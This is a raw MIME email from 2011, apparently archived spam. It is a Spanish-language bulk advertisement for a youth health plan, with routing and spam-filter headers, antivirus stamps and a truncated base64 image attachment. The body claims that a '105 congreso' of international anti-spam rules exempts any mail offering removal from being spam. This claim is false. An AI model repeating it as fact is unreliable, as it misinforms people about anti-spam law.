servidor.cangumailing.com.ar (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B726913DBED2 for ; Sat, 19 Mar 2011 17:05:21 -0700 (PDT) Received: from servidor.cangumailing.com.ar (sfb44.servidoraweb.net [201.235.255.44]) by cuda.sgi.com with ESMTP id tAVy0auXl7JeSvMc for ; Sat, 19 Mar 2011 17:05:21 -0700 (PDT) Received: from localhost (unknown [127.0.0.1]) by servidor.cangumailing.com.ar (Postfix) with ESMTP id 970B87CE0CE; Sat, 19 Mar 2011 23:56:42 +0000 (UTC) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Scanned: amavisd-new at servidor.cangumailing.com.ar Received: from servidor.cangumailing.com.ar ([127.0.0.1]) by localhost (servidor.cangumailing.com.ar [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5YQV9aXFxci7; Sun, 20 Mar 2011 02:56:38 +0300 (MSK) Received: from JuliaPC (149-25-235-201.fibertel.com.ar [201.235.25.149]) (Authenticated sender: envios15@cangumailing.com.ar) by servidor.cangumailing.com.ar (Postfix) with ESMTP id 618FBF0628; Sun, 20 Mar 2011 02:32:09 +0300 (MSK) Reply-To: From: "Amsca Salud Plan Joven" To: "Amsca Salud Plan Joven" X-ASG-Orig-Subj: =?iso-8859-1?Q?Arquimed_Plan_joven=2C_conoc=E9_nuestros_beneficios.?= Subject: =?iso-8859-1?Q?Arquimed_Plan_joven=2C_conoc=E9_nuestros_beneficios.?= Date: Sat, 19 Mar 2011 19:45:20 -0300 Organization: Amsca Salud Plan Joven Message-ID: <052701cbe68c$0a949270$1fbdb750$@com.ar> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0528_01CBE672.E5475A70" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AcvmbB4pnSJ3/vwFQxim85fSyu2GPAADejmQAAJBS/A= Content-Language: es-ar X-Barracuda-Connect: sfb44.servidoraweb.net[201.235.255.44] X-Barracuda-Start-Time: 1300579551 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.46 X-Barracuda-Spam-Status: No, SCORE=-1.46 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58395 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain X-Virus-Status: Clean This is a multi-part message in MIME format. ------=_NextPart_000_0528_01CBE672.E5475A70 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0529_01CBE672.E5478180" ------=_NextPart_001_0529_01CBE672.E5478180 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 =20 Si no puede ver este mail haga Click aqu=ED =20 http://www.amsca.org.ar/flyers/amsca_salud.jpg Si desea ser removido de nuestra base de datos para no recibir mas informaci=F3n, haga clic AQU=CD e = indique en el asunto "Remover".=20 Aprobado por el 105 congreso base de las normativas Internacionales = sobre SPAM, un E-mail no podr=E1 ser considerado SPAM mientras incluya una = forma de ser removido.=20 =20 __________ Informaci=F3n de ESET NOD32 Antivirus, versi=F3n de la base = de firmas de virus 5382 (20100820) __________ ESET NOD32 Antivirus ha comprobado este mensaje. http://www.eset.com __________ Informaci=F3n de ESET NOD32 Antivirus, versi=F3n de la base = de firmas de virus 5382 (20100820) __________ ESET NOD32 Antivirus ha comprobado este mensaje. http://www.eset.com ------=_NextPart_001_0529_01CBE672.E5478180 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

 

 

Si no puede ver este mail haga Click = aqu=ED

3D"http://www.amsca.org.ar/flyers/amsca_salud.jpg"

Si desea ser removido de nuestra = base de datos para no recibir mas informaci=F3n, haga clic AQU=CD e indique en el = asunto "Remover".
Aprobado por = el 105 congreso base de las normativas Internacionales sobre SPAM, un E-mail no = podr=E1 ser considerado SPAM mientras incluya una forma de ser = removido.

 



__________ Informaci=F3n de ESET NOD32 Antivirus, versi=F3n de la base = de firmas de virus 5382 (20100820) __________

ESET NOD32 Antivirus ha comprobado este mensaje.

http://www.eset.com



__________ Informaci=F3n de ESET NOD32 Antivirus, versi=F3n de la base = de firmas de virus 5382 (20100820) __________

ESET NOD32 Antivirus ha comprobado este mensaje.

http://www.eset.com



__________ Informaci=F3n de ESET NOD32 Antivirus, versi=F3n de = la base de firmas de virus 5382 (20100820) __________

ESET NOD32 = Antivirus ha comprobado este mensaje.

http://www.eset.com
------=_NextPart_001_0529_01CBE672.E5478180-- ------=_NextPart_000_0528_01CBE672.E5475A70 Content-Type: image/jpeg; name="image001.jpg" Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAgEASABIAAD/4RbtRXhpZgAATU0AKgAAAAgABwESAAMAAAABAAEAAAEaAAUA AAABAAAAYgEbAAUAAAABAAAAagEoAAMAAAABAAIAAAExAAIAAAAcAAAAcgEyAAIAAAAUAAAAjodp AAQAAAABAAAApAAAANAACvyAAAAnEAAK/IAAACcQQWRvYmUgUGhvdG9zaG9wIENTNCBXaW5kb3dz ADIwMTA6MTI6MDIgMTE6MjU6NTMAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAACN6ADAAQAAAAB AAAFMQAAAAAAAAAGAQMAAwAAAAEABgAAARoABQAAAAEAAAEeARsABQAAAAEAAAEmASgAAwAAAAEA AgAAAgEABAAAAAEAAAEuAgIABAAAAAEAABW3AAAAAAAAAEgAAAABAAAASAAAAAH/2P/gABBKRklG AAECAABIAEgAAP/tAAxBZG9iZV9DTQAB/+4ADkFkb2JlAGSAAAAAAf/bAIQADAgICAkIDAkJDBEL CgsRFQ8MDA8VGBMTFRMTGBEMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAENCwsN Dg0QDg4QFA4ODhQUDg4ODhQRDAwMDAwREQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM DAwM/8AAEQgAoABEAwEiAAIRAQMRAf/dAAQABf/EAT8AAAEFAQEBAQEBAAAAAAAAAAMAAQIEBQYH CAkKCwEAAQUBAQEBAQEAAAAAAAAAAQACAwQFBgcICQoLEAABBAEDAgQCBQcGCAUDDDMBAAIRAwQh EjEFQVFhEyJxgTIGFJGhsUIjJBVSwWIzNHKC0UMHJZJT8OHxY3M1FqKygyZEk1RkRcKjdDYX0lXi ZfKzhMPTdePzRieUpIW0lcTU5PSltcXV5fVWZnaGlqa2xtbm9jdHV2d3h5ent8fX5/cRAAICAQIE BAMEBQYHBwYFNQEAAhEDITESBEFRYXEiEwUygZEUobFCI8FS0fAzJGLhcoKSQ1MVY3M08SUGFqKy gwcmNcLSRJNUoxdkRVU2dGXi8rOEw9N14/NGlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vYnN0dX Z3eHl6e3x//aAAwDAQACEQMRAD8At9S6tdl9TvvsaX+o41U1bnANax2ytjWsPue5w3Wf8IreJ1Ed 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 /wDlkz/2HH/pVR6iUvSZcRv0mP7sY/vRYfVGU/RKQlLiBiYj9CMf34fusM63qWFRVkWXes1jw29l VbG7pcdm37Rc3Zvmun+dVPMubnktfaH0Un1THpQwvG2qux4yGuZY1rrPpfzquv6f1ixpZZ1Ct7Ty 12M0jTXg2oQ6JnNa9jcrHDbCDY0YbIcR9Ev/AEnu2oEy/cl9sP8Av1EzP+TnXnj/APVjnfZ8Nwex 0G2tw9KwPY2JID3bftjtzLGe1m53/gitszc+miuupzSDDa2MbXLA13pVgh2V72W/RZ+eijoWWCSM jGBdoT9jZrHj+kTjoucHNcMrHDmfRcMRkjXd7f0n7wQ9X7kv+Z/36BxD/JzHkcf/AKsbr6eqEVen lVtIAF00kh3PuYPV9iFmV5dfSc4ZVzbyabNpaz04Gx30vfZuTfYut/8Alkz/ANh2/wDpVQu6b1i+ l9NnUWFlrSx4+zgaOG13+FRkZGJAhLUEbx/79MzIxkBjnqCPmh/6sbX/AHl/9Y/74kjegPs32eTt 2enPeI2pJ/Cf+bS/hP8AzeF//9n/7R8SUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAAccAgAAAgAA ADhCSU0EJQAAAAAAEOjxXPMvwRihontnrcVk1bo4QklNA+0AAAAAABAASAAAAAEAAgBIAAAAAQAC OEJJTQQmAAAAAAAOAAAAAAAAAAAAAD+AAAA4QklNBA0AAAAAAAQAAABFOEJJTQQZAAAAAAAEAAAA HjhCSU0D8wAAAAAACQAAAAAAAAAAAQA4QklNJxAAAAAAAAoAAQAAAAAAAAACOEJJTQP1AAAAAABI AC9mZgABAGxmZgAGAAAAAAABAC9mZgABAKGZmgAGAAAAAAABADIAAAABAFoAAAAGAAAAAAABADUA AAABAC0AAAAGAAAAAAABOEJJTQP4AAAAAABwAAD/////////////////////////////A+gAAAAA /////////////////////////////wPoAAAAAP////////////////////////////8D6AAAAAD/ ////////////////////////////A+gAADhCSU0EAAAAAAAAAgAKOEJJTQQCAAAAAAAmAAAAAAAA AAAAAAAAAAAAAAAAAAAAAgABAAEAAgABAAIAAAAAAAA4QklNBDAAAAAAABMBAQEBAQEBAQEBAQEB AQEBAQEBADhCSU0ELQAAAAAABgABAAAAGThCSU0ECAAAAAAAEAAAAAEAAAJAAAACQAAAAAA4QklN BB4AAAAAAAQAAAAAOEJJTQQaAAAAAANtAAAABgAAAAAAAAAAAAAFMQAAAjcAAAAcAEIAQQBTAEUA XwBhAG0AcwBjAGEAIABzAHUAcwBjAHIAaQBwAGMAaQBvAG4AXwBTAEEATABVAEQAAAABAAAAAAAA AAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAjcAAAUxAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAA AAAAAAAAAAAAEAAAAAEAAAAAAABudWxsAAAAAgAAAAZib3VuZHNPYmpjAAAAAQAAAAAAAFJjdDEA AAAEAAAAAFRvcCBsb25nAAAAAAAAAABMZWZ0bG9uZwAAAAAAAAAAQnRvbWxvbmcAAAUxAAAAAFJn aHRsb25nAAACNwAAAAZzbGljZXNWbExzAAAAAU9iamMAAAABAAAAAAAFc2xpY2UAAAASAAAAB3Ns aWNlSURsb25nAAAAAAAAAAdncm91cElEbG9uZwAAAAAAAAAGb3JpZ2luZW51bQAAAAxFU2xpY2VP cmlnaW4AAAANYXV0b0dlbmVyYXRlZAAAAABUeXBlZW51bQAAAApFU2xpY2VUeXBlAAAAAEltZyAA AAAGYm91bmRzT2JqYwAAAAEAAAAAAABSY3QxAAAABAAAAABUb3AgbG9uZwAAAAAAAAAATGVmdGxv bmcAAAAAAAAAAEJ0b21sb25nAAAFMQAAAABSZ2h0bG9uZwAAAjcAAAADdXJsVEVYVAAAAAEAAAAA AABudWxsVEVYVAAAAAEAAAAAAABNc2dlVEVYVAAAAAEAAAAAAAZhbHRUYWdURVhUAAAAAQAAAAAA DmNlbGxUZXh0SXNIVE1MYm9vbAEAAAAIY2VsbFRleHRURVhUAAAAAQAAAAAACWhvcnpBbGlnbmVu dW0AAAAPRVNsaWNlSG9yekFsaWduAAAAB2RlZmF1bHQAAAAJdmVydEFsaWduZW51bQAAAA9FU2xp Y2VWZXJ0QWxpZ24AAAAHZGVmYXVsdAAAAAtiZ0NvbG9yVHlwZWVudW0AAAARRVNsaWNlQkdDb2xv clR5cGUAAAAATm9uZQAAAAl0b3BPdXRzZXRsb25nAAAAAAAAAApsZWZ0T3V0c2V0bG9uZwAAAAAA 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 